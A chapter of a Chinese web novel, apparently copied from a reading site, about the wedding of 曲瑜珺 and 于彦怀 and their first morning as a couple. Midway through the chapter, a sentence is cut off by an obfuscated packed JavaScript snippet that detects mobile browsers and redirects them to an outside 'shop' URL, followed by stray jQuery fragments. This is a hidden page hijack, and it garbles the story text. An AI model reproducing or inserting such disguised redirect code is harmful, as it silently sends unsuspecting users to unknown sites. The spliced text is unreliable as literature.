100.书房

作品:《她死于新婚第二年

    清风苑内,曲家女眷来了一波又一波,曲瑜珺听了一箩筐的吉祥话,坐在那里腰都酸了,却仍不见外头有动静。


    曲夫人看了一眼天色,问身旁的人:“怎么回事儿?于侍郎不是早来了吗?怎么还不见人影?”


    “回夫人的话,几位公子在外头拦着呢,背书、对对子,催妆诗都作了好几首了。”


    “叫他们别闹了,莫要误了吉时。”


    得了后头的传话,曲家的几个公子也知自己闹过了头,赶紧让开路好叫于彦怀进去接亲。


    曲瑜珺由云浮扶出来,拜别父母后,出门上了花轿。


    迎亲队伍浩浩荡荡往于府而去,路边挤满了看热闹的百姓。他们当中有许多都亲眼见过于彦怀被点中探花后,跨马游街时的意气风发,如今同样是跨马而行,却叫人觉得当日比不得今时之万一。


    看着眼前这位身着喜服,丰神俊朗的年轻人,却不知今日多少女子春闺梦碎,当年那位‘公子无双’的探花郎将满京的少年公子都压了下去,这些年来仕途得意,更是风流独揽,怎不叫人心生向往?如今这位无双公子终于有了归宿,到底叫无数人惋叹。


    而此时于府里头早已挤满了宾客,自从知晓这场婚礼的主婚人是裴老先生的时候,于府的喜帖便十分紧俏。


    且不说能不能跟裴老搭上话,光是于彦怀那些师兄们尽数到场,这帖子也十分值得争上一争。


    于母虽不常在京城,但毕竟也是走南闯北的人物,倒也能掌控得住眼前场面。只是也不免私下跟自己的丈夫诉苦:“幸好我们只有这一个儿子,要是再来一次,我可不干了,忒累人。”


    于父忙给她捏肩捶腿,嘿嘿笑着,“夫人能者多劳,能者多劳。”


    别人都笑自己家中有个母老虎,什么主都做不得。那些人才是什么都不懂,正是有夫人忙前忙后,自己才能安心看书品茶,优哉游哉。


    及至新人进门,宾客齐聚,在场众人未必都是为着今日这对新人而来,但瞧着这场盛宴,也难免心有所感。


    当年曲家三姑娘乃是京中闺秀中的翘楚,师从沈自歆,十来岁上便是才名远播,仪态行止亦是闺中典范,多少儿郎也是暗生爱慕,后来平南王妃将她定下做儿媳,这些少年郎的心思也渐渐散了。


    那时候的傅世子尚年少得意,二人就算称不上天作之合,在外人看来也是十分登对。谁能料到二人最后竟是这般结局,一个流放蛮荒,一个另嫁他人。


    礼罢开席,众人闹将起来,只欲将于彦怀灌个烂醉。待喜宴散去,于彦怀回到新房已经是脚步虚浮。


    新房内,合卺、结发,一应礼节行毕,喜婆带着人出去,房内只余于彦怀和曲瑜珺二人。


    “你没醉?”曲瑜珺瞧着于彦怀眼神清明,哪里像醉了的模样?


    “杯里兑了水的,我若不装醉,他们怎肯放过我?”于彦怀抬手捏了下曲瑜珺的脸,“说起来,这事儿还得怪你。”


    曲瑜珺拍下他的手,“怪我?”


    “今日的这些酒,一杯一杯里可都透着酸气,”于彦怀凑近曲瑜珺,嘴角笑意浅然,“谁让我娶走了他们昔日爱慕的姑娘,这是借机报复我呢。”


    曲瑜珺讶然,“怎么会?”


    于彦怀将额头抵上曲瑜珺的,“曲姑娘,你太小瞧你自己了。男人的嫉妒心,我可不会看错。”毕竟当年自己也是这样嫉妒傅凛的,简直再熟悉不过。


    曲瑜珺心想,也许吧,可若果真叫他们来娶二嫁的自己,他们也不肯的。


    正想着,于彦怀气息逼近,眼看近在咫尺,曲瑜珺却伸手抵住,脸颊微红,语带娇嗔,“一身酒气,去沐浴。”


    于彦怀含笑将吻落在曲瑜珺的掌心,“我让厨房备了饭菜送来,你先吃,我去沐浴。”


    曲瑜珺一日未曾进食,厨房送来的饭菜又十分合她胃口,虽是来到一个陌生的地方,食欲倒还不错。


    于彦怀沐浴罢,随意披了件衣裳在曲瑜珺旁边坐下,里头的中衣松松垮垮,自锁骨而下,胸前肌肤清晰可见。


    曲瑜珺只瞥了一眼便觉不自在,想了想又觉他这分明是故意,故意装作不在意,反而问道:“你不冷吗?”这可是冬月里。


    于彦怀倒答得坦然,“勾人便要有勾人的派头,冷又算得了什么?”


    曲瑜珺顿时呛了一口水,连咳了几声,脸都通红。


    外头的云浮听闻声响,忙出声询问,“姑娘怎么了?要奴婢进去伺候吗?”


    曲瑜珺瞥了一眼衣衫不整的于彦怀,忙道:“不必,你们去歇着吧,我这里不用人伺候了。”


    云浮还要说些什么,却被一旁的钱妈妈给捂了嘴,拉着她往后头去了。


    洞房内,红烛高照,曲瑜珺的指甲划过于彦怀的锁骨,在上头留下一道红痕,陡生荼蘼……


    ……


    翌日,到了请安的时辰,钱妈妈在帐外将曲瑜珺唤醒,曲瑜珺迷迷糊糊睁开眼睛,身侧的于彦怀正支着脑袋含笑看她。


    曲瑜珺羞恼,只掀了被子将他脑袋蒙住。才开口要唤钱妈妈和云浮进来,却又觉得不大好意思。


    于彦怀看出她的窘迫,便对外头的钱妈妈道:“我来伺候夫人穿衣就是,你们且去忙吧。”


    好容易收拾妥当,于彦怀抱着她在妆台前坐下,云浮和钱妈妈已经将曲瑜珺惯用的首饰摆好,曲瑜珺挑了一套石榴红的头面,任由云浮为她上妆。


    见着云浮执起螺黛,于彦怀上前,“不如我来?”


    曲瑜珺怀疑地瞧着他,“你会吗?”


    “我虽不懂画眉,但多少懂些丹青,纵及不上夫人万一,也不至于太差。”


    钱妈妈和云浮对视一眼,皆不由笑了。当初姑娘所求,不就是这样的新婚之喜吗?虽说那时候没能如愿,到底上苍还是弥补给了姑娘。


    二人收拾妥当,出得门去。


    花厅内于父于母见得二人携手而来,也不由对视一笑,虽经历波折,不管如何,总算叫自己儿子得偿所愿了。景淙这孩子自小主意正,想要什么,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655049|184030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拼了命也要拿到,诚然,曲三姑娘也并非是他们理想中的儿媳,可景淙性子,他们做父母的再了解不过,阻挠也没有意义,倒不如成全他这一片痴心。


    除了于父于母外,在场几人都是于家至亲,谁也不会故意叫人难堪就是了。


    曲瑜珺将准备好的见面礼一一送出,于母便叫他们回去了。


    曲瑜珺懒得动弹,索性歪在榻上看书,于彦怀不知从哪里找出个簪子来递给曲瑜珺,“我买下这簪子的时候,就想着,将来一定要将它亲手给你戴上。”


    曲瑜珺接过瞧了瞧,是一个十分普通的木簪,雕工也很粗糙,她不明所以地瞧着于彦怀,于彦怀则将簪子取过,轻轻插于她的发间,口中缓缓道:“当时周伯母病危,傅凛送赵清清回宁荆,你我二人同行,那晚我同你做向导……”


    曲瑜珺也忆起了当晚,她还记得那时景淙连日赶路才追上他们,结果当晚还陪着自己逛了许久,次日便病了。


    “这簪子便是那晚买下的,当时那个摊贩将你错认成了我的妻子,我想就算为着他的眼光,我也得顾一下他的生意。”


    于彦怀收回手,凝视着曲瑜珺发间的木簪,“那时我便想,等有一日你真的成了我的夫人,到那时我会将这件事说与你听。”


    曲瑜珺有些意外,忽又灵光一闪,瞪大了眼睛瞧着于彦怀,“所以你当时真的是装病?”


    于彦怀轻咳一声,有些不自在,“喉咙确实有些不舒服,也不算完全装病。”


    曲瑜珺失笑,“倒是我冤枉了傅凛。”他那时就说景淙是在装病。


    话音刚落,便被于彦怀噙住了唇,声音自唇齿间呢喃而出,“不要提他,我心里醋得紧。”


    眼见着于彦怀握着自己的手腕要痴缠,曲瑜珺忙将他推开,“青天白日,做什么呢?你还读书人呢,有辱斯文。”


    于彦怀不知想到什么,忽地笑了,随后退开去,懒懒靠在软枕上。


    曲瑜珺总觉得他这笑不同寻常,终于忍不住问道:“你笑什么?”


    “真想知道?”


    曲瑜珺下意识觉得最好不要再问,可到底抵不住心中好奇,“快说。”


    于彦怀倾身凑近曲瑜珺,小声在她耳边嘀咕了两句,直听得曲瑜珺面红耳赤,立即将于彦怀给推开,“下流!”


    这人,这人怎么能在书房里做那种梦!自己以后要怎么直视他的书房?


    于彦怀挑了挑眉,“日有所思,夜有所梦罢了。”所思所梦唯有一人。


    曲瑜珺咬牙,真该叫外人瞧瞧,这哪里还是他们口中清风朗月的探花郎?


    这时云浮端着茶水进来,一眼瞧见坐在那里红着脸的自家姑娘,旁边是浅笑不语的姑爷。


    她不明所以,缓缓将茶水放下,然后想起钱妈妈的话,开口问曲瑜珺:“姑娘,钱妈妈方才收拾姑娘的东西,问带来的几箱书要搁到哪里去?书房吗?”


    一提到书房,曲瑜珺心头猛跳,只觉耳朵要烧起来,“先搁着就是,不必管。”